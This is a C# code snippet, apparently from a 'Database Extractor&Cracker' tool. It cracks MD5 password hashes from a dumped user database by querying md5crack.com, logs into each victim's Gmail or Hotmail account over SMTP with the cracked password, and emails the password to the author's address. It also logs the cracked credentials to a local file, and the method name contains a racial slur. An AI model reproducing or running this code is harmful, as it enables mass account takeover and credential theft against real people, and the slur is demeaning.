예제 #1
0
        public void crackSomeNigs()
        {
            Chilkat.Http http = new Chilkat.Http();

            bool success;
            success = http.UnlockComponent("30277129240");
            if (success != true) {
                    Console.WriteLine(http.LastErrorText);
                    return;
            }

            Chilkat.HttpRequest req = new HttpRequest();
                StreamWriter SWst;
                string time = DateTime.Now.ToString();
                SWst = File.AppendText(@"out.txt");
                SWst.WriteLine("RECoders.org - Database Extractor&Cracker: "+time);
                SWst.WriteLine("\n\n\n");
                SWst.Close();

                for(int i=0;i<usernames.Count;i++) {
                //Setup the post request to md5crack.com
                req.UsePost();
                req.Path = "/crackmd5.php";
                req.AddParam("crackbtn", "Crack that hash baby!");
                req.AddParam("term", md5s[i]);
                Chilkat.HttpResponse resp = http.SynchronousRequest("md5crack.com",80,false,req);

                Match match = Regex.Match(resp.BodyStr, @"(?<=\()(.*?)(?=\))", RegexOptions.IgnoreCase);
                string matchstr = match.ToString();
                string m = Regex.Replace(matchstr, @"[^\w\.@-]", "");

                    //Print out the details from the database
                    Console.WriteLine("ID: {0}", i);
                    Console.WriteLine("Username: {0}", usernames[i]);
                    Console.WriteLine("Email: {0}", emails[i]);
                    Console.WriteLine("Gmail: {0}", gmail[i]);

                    //If the email adress has been flagged as gmail, attempt to mail home email adress to verify
                    if(gmail[i] == 0) {
                        Console.WriteLine("Attempting to Email Home - GMAIL");
                        //string adress = emails[i];
                           System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();
                           System.Net.NetworkCredential cred = new System.Net.NetworkCredential(emails[i], m);

                        mail.To.Add("*****@*****.**"); //my test email, change to yours.
                        mail.Subject = "Ding";

                        mail.From = new System.Net.Mail.MailAddress(emails[i]);
                        mail.IsBodyHtml = true;
                        mail.Body = "Password: "******"\nHEH";

                        System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient("smtp.gmail.com");
                        smtp.UseDefaultCredentials = false;
                        smtp.EnableSsl = true;
                        smtp.Credentials = cred;
                        smtp.Port = 587;
                        try {
                            smtp.Send(mail);
                            Console.WriteLine("Mail Sent.");
                        } catch {
                            Console.WriteLine("Failed");
                        }

                    }
                    if(gmail[i] == 2) {
                        Console.WriteLine("Attempting to Email Home - HOTMAIL");
                        //string adress = emails[i];
                           System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();
                           System.Net.NetworkCredential cred = new System.Net.NetworkCredential(emails[i], m);

                        mail.To.Add("*****@*****.**"); //my test email, change to yours.
                        mail.Subject = "Ding";

                        mail.From = new System.Net.Mail.MailAddress(emails[i]);
                        mail.IsBodyHtml = true;
                        mail.Body = m;

                        System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient("smtp.live.com");
                        smtp.UseDefaultCredentials = false;
                        smtp.EnableSsl = true;
                        smtp.Credentials = cred;
                        smtp.Port = 25;
                        try {
                            smtp.Send(mail);
                            Console.WriteLine("Mail Sent.");
                        } catch {
                            Console.WriteLine("Failed");
                        }

                    }
                    //Finally return the value of the cracked hash
                    Console.WriteLine("CRACKED HASH: {0}", m);
                    Console.WriteLine("\n");
                    StreamWriter SW;
                    SW = File.AppendText(@"out.txt");
                    SW.WriteLine("Database Entry: {0}", i);
                    SW.WriteLine("Username: {0}",usernames[i]);
                    SW.WriteLine("Uncracked Hash: {0}",md5s[i]);
                    SW.WriteLine("Email: {0}",emails[i]);
                    SW.WriteLine("CRACKED HASH: {0}\n", m);
                    SW.WriteLine("!@#$%^&*!@#$%^&*!@#$%^&*==CRACKED==!@#$%^&*!@#$%^&*!@#$%^&*");
                    SW.WriteLine("\n");
                    SW.Close();
                    match = null;
                    m = null;
                    }
        }